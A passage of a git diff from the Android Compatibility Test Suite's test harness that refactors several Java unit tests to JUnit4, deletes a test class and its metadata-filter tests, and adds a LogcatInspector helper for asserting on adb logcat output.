-        ITestDevice device = EasyMock.createMock(ITestDevice.class);
-
-        listener.testStarted(testRunDeviceTests);
-        EasyMock.expect(device.getIDevice()).andReturn(EasyMock.createMock(IDevice.class)).once();
-        EasyMock.expect(device.runInstrumentationTests((RemoteAndroidTestRunner)
-                EasyMock.anyObject(), (CollectingTestListener) EasyMock.anyObject())).andReturn(
-                true).once();
-        listener.testEnded(testRunDeviceTests, Collections.emptyMap());
-        EasyMock.replay(listener, device);
-
-        JUnitCore runnerCore = new JUnitCore();
-        runnerCore.addListener(new JUnit4ResultForwarder(listener));
-        Runner checkRunner = Request.aClass(MockTest.class).getRunner();
-        ((IDeviceTest) checkRunner).setDevice(device);
-        ((IBuildReceiver) checkRunner).setBuild(EasyMock.createMock(IBuildInfo.class));
-        ((IAbiReceiver) checkRunner).setAbi(EasyMock.createMock(IAbi.class));
-        runnerCore.run(checkRunner);
-        EasyMock.verify(listener, device);
-    }
-
-}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/JarHostTestTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/JarHostTestTest.java
index a06bca0..064cee4 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/JarHostTestTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/JarHostTestTest.java
@@ -15,19 +15,28 @@
  */
 package com.android.compatibility.common.tradefed.testtype;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.TestIdentifier;
 import com.android.tradefed.build.BuildInfo;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.OptionSetter;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.ITestInvocationListener;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner.TestMetrics;
 import com.android.tradefed.testtype.HostTest;
 import com.android.tradefed.testtype.IRemoteTest;
 import com.android.tradefed.util.FileUtil;
 
-import junit.framework.TestCase;
-
 import org.easymock.EasyMock;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.JUnit4;
 
@@ -39,17 +48,21 @@
 import java.net.URL;
 import java.net.URLClassLoader;
 import java.util.Arrays;
+import java.util.HashMap;
 import java.util.List;
+import java.util.Map;
 
 /**
  * Unit tests for {@link JarHostTest}.
  */
-public class JarHostTestTest extends TestCase {
+@RunWith(JUnit4.class)
+public class JarHostTestTest {
 
     private static final String TEST_JAR1 = "/testtype/testJar1.jar";
     private static final String TEST_JAR2 = "/testtype/testJar2.jar";
     private JarHostTest mTest;
     private File mTestDir = null;
+    private ITestInvocationListener mListener;
 
     /**
      * More testable version of {@link JarHostTest}
@@ -74,23 +87,16 @@
         }
     }
 
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
         mTest = new JarHostTest();
         mTestDir = FileUtil.createTempDir("jarhostest");
+        mListener = EasyMock.createMock(ITestInvocationListener.class);
     }
 
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void tearDown() throws Exception {
         FileUtil.recursiveDelete(mTestDir);
-        super.tearDown();
     }
 
     /**
@@ -123,13 +129,18 @@
     @RunWith(JUnit4.class)
     public static class Junit4TestClass2  {
         public Junit4TestClass2() {}
+        @Rule public TestMetrics metrics = new TestMetrics();
+
         @org.junit.Test
-        public void testPass2() {}
+        public void testPass2() {
+            metrics.addTestMetric("key", "value");
+        }
     }
 
     /**
      * Test that {@link JarHostTest#split()} inherited from {@link HostTest} is still good.
      */
+    @Test
     public void testSplit_withoutJar() throws Exception {
         OptionSetter setter = new OptionSetter(mTest);
         setter.setOptionValue("class", "com.android.compatibility.common.tradefed.testtype."
@@ -146,6 +157,7 @@
     /**
      * Test that {@link JarHostTest#split()} can split classes coming from a jar.
      */
+    @Test
     public void testSplit_withJar() throws Exception {
         File testJar = getJarResource(TEST_JAR1, mTestDir);
         mTest = new JarHostTestable(mTestDir);
@@ -165,6 +177,7 @@
     /**
      * Test that {@link JarHostTest#getTestShard(int, int)} can split classes coming from a jar.
      */
+    @Test
     public void testGetTestShard_withJar() throws Exception {
         File testJar = getJarResource(TEST_JAR2, mTestDir);
         mTest = new JarHostTestLoader(mTestDir, testJar);
@@ -259,4 +272,45 @@
             return child;
         }
     }
+
+    /**
+     * If a jar file is not found, the countTest will fail but we still want to report a
+     * testRunStart and End pair for results.
+     */
+    @Test
+    public void testCountTestFails() throws Exception {
+        OptionSetter setter = new OptionSetter(mTest);
+        setter.setOptionValue("jar", "thisjardoesnotexistatall.jar");
+        mListener.testRunStarted(EasyMock.anyObject(), EasyMock.eq(0));
+        mListener.testRunEnded(EasyMock.anyLong(), EasyMock.anyObject());
+        EasyMock.replay(mListener);
+        try {
+            mTest.run(mListener);
+            fail("Should have thrown an exception.");
+        } catch(RuntimeException expected) {
+            // expected
+        }
+        EasyMock.verify(mListener);
+    }
+
+    /**
+     * Test that metrics from tests in JarHost are reported and accounted for.
+     */
+    @Test
+    public void testJarHostMetrics() throws Exception {
+        OptionSetter setter = new OptionSetter(mTest);
+        setter.setOptionValue("class", "com.android.compatibility.common.tradefed.testtype."
+                + "JarHostTestTest$Junit4TestClass2");
+        mListener.testRunStarted(EasyMock.anyObject(), EasyMock.eq(1));
+        TestIdentifier tid = new TestIdentifier("com.android.compatibility.common.tradefed."
+                + "testtype.JarHostTestTest$Junit4TestClass2", "testPass2");
+        mListener.testStarted(EasyMock.eq(tid), EasyMock.anyLong());
+        Map<String, String> metrics = new HashMap<>();
+        metrics.put("key", "value");
+        mListener.testEnded(EasyMock.eq(tid), EasyMock.anyLong(), EasyMock.eq(metrics));
+        mListener.testRunEnded(EasyMock.anyLong(), EasyMock.anyObject());
+        EasyMock.replay(mListener);
+        mTest.run(mListener);
+        EasyMock.verify(mListener);
+    }
 }
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTestTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTestTest.java
index d67619a..682088c 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTestTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTestTest.java
@@ -15,10 +15,9 @@
  */
 package com.android.compatibility.common.tradefed.testtype.retry;
 
-import static org.junit.Assert.*;
+import static org.junit.Assert.assertEquals;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
 import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuite;
 import com.android.compatibility.common.tradefed.util.RetryFilterHelper;
 import com.android.tradefed.config.IConfiguration;
@@ -52,7 +51,7 @@
     private RetryFilterHelper mSpyFilter;
 
     /**
-     * A {@link CompatibilityTest} that does not run anything.
+     * A {@link CompatibilityTestSuite} that does not run anything.
      */
     @OptionClass(alias = "compatibility")
     public static class VoidCompatibilityTest extends CompatibilityTestSuite {
@@ -90,7 +89,7 @@
         };
         mFactory = new RetryFactoryTest() {
             @Override
-            RetryFilterHelper createFilterHelper(CompatibilityBuildHelper buildHelper) {
+            protected RetryFilterHelper createFilterHelper(CompatibilityBuildHelper buildHelper) {
                 return mSpyFilter;
             }
             @Override
@@ -108,6 +107,7 @@
     public void testRetry_receiveOption() throws Exception {
         OptionSetter setter = new OptionSetter(mFactory);
         setter.setOptionValue("retry", "10599");
+        setter.setOptionValue("test-arg", "abcd");
         EasyMock.replay(mMockListener);
         mFactory.run(mMockListener);
         EasyMock.verify(mMockListener);
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuiteTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuiteTest.java
deleted file mode 100644
index 86569ef..0000000
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuiteTest.java
+++ /dev/null
@@ -1,179 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.tradefed.testtype.suite;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
-import com.android.tradefed.config.OptionSetter;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.util.AbiUtils;
-
-import org.easymock.EasyMock;
-import org.junit.Before;
-import org.junit.Test;
-
-import java.util.HashSet;
-import java.util.Set;
-
-/**
- * Unit tests for {@link CompatibilityTestSuite}.
- */
-public class CompatibilityTestSuiteTest {
-
-    private static final String FAKE_HOST_ARCH = "arm";
-    private CompatibilityTestSuite mTest;
-    private ITestDevice mMockDevice;
-
-    @Before
-    public void setUp() throws Exception {
-        mTest = new CompatibilityTestSuite() {
-            @Override
-            protected Set<String> getAbisForBuildTargetArch() {
-                return AbiUtils.getAbisForArch(FAKE_HOST_ARCH);
-            }
-        };
-        mMockDevice = EasyMock.createMock(ITestDevice.class);
-        mTest.setDevice(mMockDevice);
-    }
-
-    /**
-     * Test that {@link CompatibilityTestSuite#getAbis(ITestDevice)} is returning a proper
-     * intersection of CTS supported architectures and Device supported architectures.
-     */
-    @Test
-    public void testGetAbis() throws DeviceNotAvailableException {
-        EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abilist")))
-                .andReturn("arm64-v8a,armeabi-v7a,armeabi");
-        Set<String> expectedAbis = new HashSet<>();
-        expectedAbis.add("arm64-v8a");
-        expectedAbis.add("armeabi-v7a");
-        EasyMock.replay(mMockDevice);
-        Set<IAbi> res = mTest.getAbis(mMockDevice);
-        assertEquals(2, res.size());
-        for (IAbi abi : res) {
-            assertTrue(expectedAbis.contains(abi.getName()));
-        }
-        EasyMock.verify(mMockDevice);
-    }
-
-    /**
-     * Test that {@link CompatibilityTestSuite#getAbis(ITestDevice)} is throwing an exception when
-     * none of the CTS build supported abi match the device abi.
-     */
-    @Test
-    public void testGetAbis_notSupported() throws DeviceNotAvailableException {
-        EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abilist")))
-                .andReturn("armeabi");
-        EasyMock.replay(mMockDevice);
-        try {
-            mTest.getAbis(mMockDevice);
-            fail("Should have thrown an exception");
-        } catch (IllegalArgumentException e) {
-            assertEquals("None of the abi supported by this CTS build ('[armeabi-v7a, arm64-v8a]')"
-                    + " are supported by the device ('[armeabi]').", e.getMessage());
-        }
-        EasyMock.verify(mMockDevice);
-    }
-
-    /**
-     * Test that {@link CompatibilityTestSuite#getAbis(ITestDevice)} is returning only the device
-     * primary abi.
-     */
-    @Test
-    public void testGetAbis_primaryAbiOnly() throws Exception {
-        OptionSetter setter = new OptionSetter(mTest);
-        setter.setOptionValue(CompatibilityTest.PRIMARY_ABI_RUN, "true");
-        EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abi")))
-                .andReturn("arm64-v8a");
-        Set<String> expectedAbis = new HashSet<>();
-        expectedAbis.add("arm64-v8a");
-        EasyMock.replay(mMockDevice);
-        Set<IAbi> res = mTest.getAbis(mMockDevice);
-        assertEquals(1, res.size());
-        for (IAbi abi : res) {
-            assertTrue(expectedAbis.contains(abi.getName()));
-        }
-        EasyMock.verify(mMockDevice);
-    }
-
-    /**
-     * Test that {@link CompatibilityTestSuite#getAbis(ITestDevice)} is throwing an exception if
-     * the primary abi is not supported.
-     */
-    @Test
-    public void testGetAbis_primaryAbiOnly_NotSupported() throws Exception {
-        OptionSetter setter = new OptionSetter(mTest);
-        setter.setOptionValue(CompatibilityTest.PRIMARY_ABI_RUN, "true");
-        EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abi")))
-                .andReturn("armeabi");
-        EasyMock.replay(mMockDevice);
-        try {
-            mTest.getAbis(mMockDevice);
-            fail("Should have thrown an exception");
-        } catch (IllegalArgumentException e) {
-            assertEquals("Your CTS hasn't been built with abi 'armeabi' support, "
-                    + "this CTS currently supports '[armeabi-v7a, arm64-v8a]'.", e.getMessage());
-        }
-        EasyMock.verify(mMockDevice);
-    }
-
-    /**
-     * Test that {@link CompatibilityTestSuite#getAbis(ITestDevice)} is returning the list of abi
-     * supported by Compatibility and the device, and not the particular CTS build.
-     */
-    @Test
-    public void testGetAbis_skipCtsArchCheck() throws Exception {
-        OptionSetter setter = new OptionSetter(mTest);
-        setter.setOptionValue(CompatibilityTest.SKIP_HOST_ARCH_CHECK, "true");
-        EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abilist")))
-                .andReturn("x86_64,x86,armeabi");
-        Set<String> expectedAbis = new HashSet<>();
-        expectedAbis.add("x86_64");
-        expectedAbis.add("x86");
-        EasyMock.replay(mMockDevice);
-        Set<IAbi> res = mTest.getAbis(mMockDevice);
-        assertEquals(2, res.size());
-        for (IAbi abi : res) {
-            assertTrue(expectedAbis.contains(abi.getName()));
-        }
-        EasyMock.verify(mMockDevice);
-    }
-
-    /**
-     * Test {@link CompatibilityTestSuite#getAbis(ITestDevice)} when we skip the Cts side
-     * architecture check and want to run x86 abi.
-     */
-    @Test
-    public void testGetAbis_skipCtsArchCheck_abiSpecified() throws Exception {
-        OptionSetter setter = new OptionSetter(mTest);
-        setter.setOptionValue(CompatibilityTest.SKIP_HOST_ARCH_CHECK, "true");
-        setter.setOptionValue(CompatibilityTest.ABI_OPTION, "x86");
-        Set<String> expectedAbis = new HashSet<>();
-        expectedAbis.add("x86");
-        EasyMock.replay(mMockDevice);
-        Set<IAbi> res = mTest.getAbis(mMockDevice);
-        assertEquals(1, res.size());
-        for (IAbi abi : res) {
-            assertTrue(expectedAbis.contains(abi.getName()));
-        }
-        EasyMock.verify(mMockDevice);
-    }
-}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuiteTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuiteTest.java
index c67afc0..31db704 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuiteTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuiteTest.java
@@ -16,17 +16,13 @@
 package com.android.compatibility.common.tradefed.testtype.suite;
 
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
 
 import com.android.tradefed.config.Configuration;
-import com.android.tradefed.config.ConfigurationDescriptor;
 import com.android.tradefed.config.IConfiguration;
 import com.android.tradefed.config.Option;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.result.ITestInvocationListener;
 import com.android.tradefed.testtype.IRemoteTest;
-import com.android.tradefed.util.MultiMap;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -44,8 +40,6 @@
 @RunWith(JUnit4.class)
 public class ModuleRepoSuiteTest {
 
-    private static final MultiMap<String, String> METADATA_INCLUDES = new MultiMap<>();
-    private static final MultiMap<String, String> METADATA_EXCLUDES = new MultiMap<>();
     private ModuleRepoSuite mRepo;
 
     @Before
@@ -53,261 +47,6 @@
         mRepo = new ModuleRepoSuite();
     }
 
-    /**
-     * When there are no metadata based filters specified, config should be included.
-     */
-    @Test
-    public void testMetadataFilter_emptyFilters() throws Exception {
-        IConfiguration config = new Configuration("foo", "bar");
-        assertTrue("config not included when metadata filters are empty",
-                mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, METADATA_EXCLUDES));
-    }
-
-    /**
-     * When inclusion filter is specified, config matching the filter is included.
-     */
-    @Test
-    public void testMetadataFilter_matchInclude() throws Exception {
-        IConfiguration config = new Configuration("foo", "bar");
-        ConfigurationDescriptor desc = config.getConfigurationDescription();
-        MultiMap<String, String> metadata = new MultiMap<>();
-        metadata.put("component", "foo");
-        desc.setMetaData(metadata);
-        MultiMap<String, String> includeFilter = new MultiMap<>();
-        includeFilter.put("component", "foo");
-        assertTrue("config not included with matching inclusion filter",
-                mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
-    }
-
-    /**
-     * When inclusion filter is specified, config not matching the filter is excluded
-     */
-    @Test
-    public void testMetadataFilter_noMatchInclude_mismatchValue() throws Exception {
-        IConfiguration config = new Configuration("foo", "bar");
-        ConfigurationDescriptor desc = config.getConfigurationDescription();
-        MultiMap<String, String> metadata = new MultiMap<>();
-        metadata.put("component", "foo");
-        desc.setMetaData(metadata);
-        MultiMap<String, String> includeFilter = new MultiMap<>();
-        includeFilter.put("component", "bar");
-        assertFalse("config not excluded with mismatching inclusion filter",
-                mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
-    }
-
-    /**
-     * When inclusion filter is specified, config not matching the filter is excluded.
-     */
-    @Test
-    public void testMetadataFilter_noMatchInclude_mismatchKey() throws Exception {
-        IConfiguration config = new Configuration("foo", "bar");
-        ConfigurationDescriptor desc = config.getConfigurationDescription();
-        MultiMap<String, String> metadata = new MultiMap<>();
-        metadata.put("component", "foo");
-        desc.setMetaData(metadata);
-        MultiMap<String, String> includeFilter = new MultiMap<>();
-        includeFilter.put("group", "bar");
-        assertFalse("config not excluded with mismatching inclusion filter",
-                mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
-    }
-
-    /**
-     * When exclusion filter is specified, config matching the filter is excluded.
-     */
-    @Test
-    public void testMetadataFilter_matchExclude() throws Exception {
-        IConfiguration config = new Configuration("foo", "bar");
-        ConfigurationDescriptor desc = config.getConfigurationDescription();
-        MultiMap<String, String> metadata = new MultiMap<>();
-        metadata.put("component", "foo");
-        desc.setMetaData(metadata);
-        MultiMap<String, String> excludeFilter = new MultiMap<>();
-        excludeFilter.put("component", "foo");
-        assertFalse("config not excluded with matching exclusion filter",
-                mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
-    }
-
-    /**
-     * When exclusion filter is specified, config not matching the filter is included.
-     */
-    @Test
-    public void testMetadataFilter_noMatchExclude_mismatchKey() throws Exception {
-        IConfiguration config = new Configuration("foo", "bar");
-        ConfigurationDescriptor desc = config.getConfigurationDescription();
-        MultiMap<String, String> metadata = new MultiMap<>();
-        metadata.put("component", "foo");
-        desc.setMetaData(metadata);
-        MultiMap<String, String> excludeFilter = new MultiMap<>();
-        excludeFilter.put("component", "bar");
-        assertTrue("config not included with mismatching exclusion filter",
-                mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
-    }
-
-    /**
-     * When exclusion filter is specified, config not matching the filter is included.
-     */
-    @Test
-    public void testMetadataFilter_noMatchExclude_mismatchValue() throws Exception {
-        IConfiguration config = new Configuration("foo", "bar");
-        ConfigurationDescriptor desc = config.getConfigurationDescription();
-        MultiMap<String, String> metadata = new MultiMap<>();
-        metadata.put("component", "foo");
-        desc.setMetaData(metadata);
-        MultiMap<String, String> excludeFilter = new MultiMap<>();
-        excludeFilter.put("group", "bar");
-        assertTrue("config not included with mismatching exclusion filter",
-                mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
-    }
-
-    /**
-     * When inclusion filter is specified, config with one of the metadata field matching the filter
-     * is included.
-     */
-    @Test
-    public void testMetadataFilter_matchInclude_multipleMetadataField() throws Exception {
-        IConfiguration config = new Configuration("foo", "bar");
-        ConfigurationDescriptor desc = config.getConfigurationDescription();
-        MultiMap<String, String> metadata = new MultiMap<>();
-        metadata.put("component", "foo");
-        metadata.put("component", "bar");
-        desc.setMetaData(metadata);
-        MultiMap<String, String> includeFilter = new MultiMap<>();
-        includeFilter.put("component", "foo");
-        assertTrue("config not included with matching inclusion filter",
-                mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
-    }
-
-    /**
-     * When exclusion filter is specified, config with one of the metadata field matching the filter
-     * is excluded.
-     */
-    @Test
-    public void testMetadataFilter_matchExclude_multipleMetadataField() throws Exception {
-        IConfiguration config = new Configuration("foo", "bar");
-        ConfigurationDescriptor desc = config.getConfigurationDescription();
-        MultiMap<String, String> metadata = new MultiMap<>();
-        metadata.put("component", "foo");
-        metadata.put("component", "bar");
-        desc.setMetaData(metadata);
-        MultiMap<String, String> excludeFilter = new MultiMap<>();
-        excludeFilter.put("component", "foo");
-        assertFalse("config not excluded with matching exclusion filter",
-                mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
-    }
-
-    /**
-     * When inclusion filters are specified, config with metadata field matching one of the filter
-     * is included.
-     */
-    @Test
-    public void testMetadataFilter_matchInclude_multipleFilters() throws Exception {
-        IConfiguration config = new Configuration("foo", "bar");
-        ConfigurationDescriptor desc = config.getConfigurationDescription();
-        MultiMap<String, String> metadata = new MultiMap<>();
-        metadata.put("component", "foo");
-        desc.setMetaData(metadata);
-        MultiMap<String, String> includeFilter = new MultiMap<>();
-        includeFilter.put("component", "foo");
-        includeFilter.put("component", "bar");
-        assertTrue("config not included with matching inclusion filter",
-                mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
-    }
-
-    /**
-     * When exclusion filters are specified, config with metadata field matching one of the filter
-     * is excluded.
-     */
-    @Test
-    public void testMetadataFilter_matchExclude_multipleFilters() throws Exception {
-        IConfiguration config = new Configuration("foo", "bar");
-        ConfigurationDescriptor desc = config.getConfigurationDescription();
-        MultiMap<String, String> metadata = new MultiMap<>();
-        metadata.put("component", "foo");
-        desc.setMetaData(metadata);
-        MultiMap<String, String> excludeFilter = new MultiMap<>();
-        excludeFilter.put("component", "foo");
-        excludeFilter.put("component", "bar");
-        assertFalse("config not excluded with matching exclusion filter",
-                mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
-    }
-
-    /**
-     * When inclusion filters are specified, config with metadata field matching one of the filter
-     * is included.
-     */
-    @Test
-    public void testMetadataFilter_matchInclude_multipleMetadataAndFilters() throws Exception {
-        IConfiguration config = new Configuration("foo", "bar");
-        ConfigurationDescriptor desc = config.getConfigurationDescription();
-        MultiMap<String, String> metadata = new MultiMap<>();
-        metadata.put("component", "foo1");
-        metadata.put("group", "bar1");
-        desc.setMetaData(metadata);
-        MultiMap<String, String> includeFilter = new MultiMap<>();
-        includeFilter.put("component", "foo1");
-        includeFilter.put("group", "bar2");
-        assertTrue("config not included with matching inclusion filter",
-                mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
-    }
-
-    /**
-     * When exclusion filters are specified, config with metadata field matching one of the filter
-     * is excluded.
-     */
-    @Test
-    public void testMetadataFilter_matchExclude_multipleMetadataAndFilters() throws Exception {
-        IConfiguration config = new Configuration("foo", "bar");
-        ConfigurationDescriptor desc = config.getConfigurationDescription();
-        MultiMap<String, String> metadata = new MultiMap<>();
-        metadata.put("component", "foo1");
-        metadata.put("group", "bar1");
-        desc.setMetaData(metadata);
-        MultiMap<String, String> excludeFilter = new MultiMap<>();
-        excludeFilter.put("component", "foo1");
-        excludeFilter.put("group", "bar2");
-        assertFalse("config not excluded with matching exclusion filter",
-                mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
-    }
-
-    /**
-     * When inclusion and exclusion filters are both specified, config can pass through the filters
-     * as expected.
-     */
-    @Test
-    public void testMetadataFilter_includeAndExclude() throws Exception {
-        IConfiguration config = new Configuration("foo", "bar");
-        ConfigurationDescriptor desc = config.getConfigurationDescription();
-        MultiMap<String, String> metadata = new MultiMap<>();
-        metadata.put("component", "foo");
-        metadata.put("group", "bar1");
-        desc.setMetaData(metadata);
-        MultiMap<String, String> includeFilter = new MultiMap<>();
-        includeFilter.put("component", "foo");
-        MultiMap<String, String> excludeFilter = new MultiMap<>();
-        excludeFilter.put("group", "bar2");
-        assertTrue("config not included with matching inclusion and mismatching exclusion filters",
-                mRepo.filterByConfigMetadata(config, includeFilter, excludeFilter));
-    }
-
-    /**
-     * When inclusion and exclusion filters are both specified, config be excluded as specified
-     */
-    @Test
-    public void testMetadataFilter_includeThenExclude() throws Exception {
-        IConfiguration config = new Configuration("foo", "bar");
-        ConfigurationDescriptor desc = config.getConfigurationDescription();
-        MultiMap<String, String> metadata = new MultiMap<>();
-        metadata.put("component", "foo");
-        metadata.put("group", "bar");
-        desc.setMetaData(metadata);
-        MultiMap<String, String> includeFilter = new MultiMap<>();
-        includeFilter.put("component", "foo");
-        MultiMap<String, String> excludeFilter = new MultiMap<>();
-        excludeFilter.put("group", "bar");
-        assertFalse("config not excluded with matching inclusion and exclusion filters",
-                mRepo.filterByConfigMetadata(config, includeFilter, excludeFilter));
-    }
-
     public static class TestInject implements IRemoteTest {
         @Option(name = "simple-string")
         public String test = null;
diff --git a/common/util/src/com/android/compatibility/common/util/LogcatInspector.java b/common/util/src/com/android/compatibility/common/util/LogcatInspector.java
new file mode 100644
index 0000000..ed82307
--- /dev/null
+++ b/common/util/src/com/android/compatibility/common/util/LogcatInspector.java
@@ -0,0 +1,130 @@
+package com.android.compatibility.common.util;
+
+import static junit.framework.TestCase.fail;
+
+import com.google.common.base.Joiner;
+import com.google.common.io.Closeables;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.UUID;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Inherit this class and implement {@link #executeShellCommand(String)} to be able to assert that
+ * logcat contains what you want.
+ */
+public abstract class LogcatInspector {
+    private static final int SMALL_LOGCAT_DELAY = 1000;
+
+    /**
+     * Should execute adb shell {@param command} and return an {@link InputStream} with the result.
+     */
+    protected abstract InputStream executeShellCommand(String command) throws IOException;
+
+    /**
+     * Logs an unique string using tag {@param tag} and wait until it appears to continue execution.
+     *
+     * @return a unique separator string.
+     * @throws IOException if error while executing command.
+     */
+    public String mark(String tag) throws IOException {
+        String uniqueString = ":::" + UUID.randomUUID().toString();
+        executeShellCommand("log -t " + tag + " " + uniqueString);
+        // This is to guarantee that we only return after the string has been logged, otherwise
+        // in practice the case where calling Log.?(<message1>) right after clearAndMark() resulted
+        // in <message1> appearing before the unique identifier. It's not guaranteed per the docs
+        // that log command will have written when returning, so better be safe. 5s should be fine.
+        assertLogcatContainsInOrder(tag + ":* *:S", 5, uniqueString);
+        return uniqueString;
+    }
+
+    /**
+     * Wait for up to {@param maxTimeoutInSeconds} for the given {@param logcatStrings} strings to
+     * appear in logcat in the given order. By passing the separator returned by {@link
+     * #mark(String)} as the first string you can ensure that only logs emitted after that
+     * call to mark() are found. Repeated strings are not supported.
+     *
+     * @throws AssertionError if the strings are not found in the given time.
+     * @throws IOException if error while reading.
+     */
+    public void assertLogcatContainsInOrder(
+            String filterSpec, int maxTimeoutInSeconds, String... logcatStrings)
+            throws AssertionError, IOException {
+        try {
+            int nextStringIndex =
+                    numberOfLogcatStringsFound(filterSpec, maxTimeoutInSeconds, logcatStrings);
+            if (nextStringIndex < logcatStrings.length) {
+                fail(
+                        "Couldn't find "
+                                + logcatStrings[nextStringIndex]
+                                + (nextStringIndex > 0
+                                        ? " after " + logcatStrings[nextStringIndex - 1]
+                                        : "")
+                                + " within "
+                                + maxTimeoutInSeconds
+                                + " seconds ");
+            }
+        } catch (InterruptedException e) {
+            fail("Thread interrupted unexpectedly: " + e.getMessage());
+        }
+    }
+
+    /**
+     * Wait for up to {@param timeInSeconds}, if all the strings {@param logcatStrings} are found in
+     * order then the assertion fails, otherwise it succeeds.
+     *
+     * @throws AssertionError if all the strings are found in order in the given time.
+     * @throws IOException if error while reading.
+     */
+    public void assertLogcatDoesNotContainInOrder(int timeInSeconds, String... logcatStrings)
+            throws IOException {
+        try {
+            int stringsFound = numberOfLogcatStringsFound("", timeInSeconds, logcatStrings);
+            if (stringsFound == logcatStrings.length) {
+                fail("Found " + Joiner.on(", ").join(logcatStrings) + " that weren't expected");
+            }
+        } catch (InterruptedException e) {
+            fail("Thread interrupted unexpectedly: " + e.getMessage());
+        }
+    }
+
+    private int numberOfLogcatStringsFound(
+            String filterSpec, int timeInSeconds, String... logcatStrings)
+            throws InterruptedException, IOException {
+        long timeout = System.currentTimeMillis() + TimeUnit.SECONDS.toMillis(timeInSeconds);
+        int stringIndex = 0;
+        while (timeout >= System.currentTimeMillis()) {
+            InputStream logcatStream = executeShellCommand("logcat -v brief -d " + filterSpec);
+            BufferedReader logcat = new BufferedReader(new InputStreamReader(logcatStream));
+            String line;
+            stringIndex = 0;
+            while ((line = logcat.readLine()) != null) {
+                if (line.contains(logcatStrings[stringIndex])) {
+                    stringIndex++;
+                    if (stringIndex >= logcatStrings.length) {
+                        drainAndClose(logcat);
+                        return stringIndex;
+                    }
+                }
+            }
+            Closeables.closeQuietly(logcat);
+            // In case the key has not been found, wait for the log to update before
+            // performing the next search.
+            Thread.sleep(SMALL_LOGCAT_DELAY);
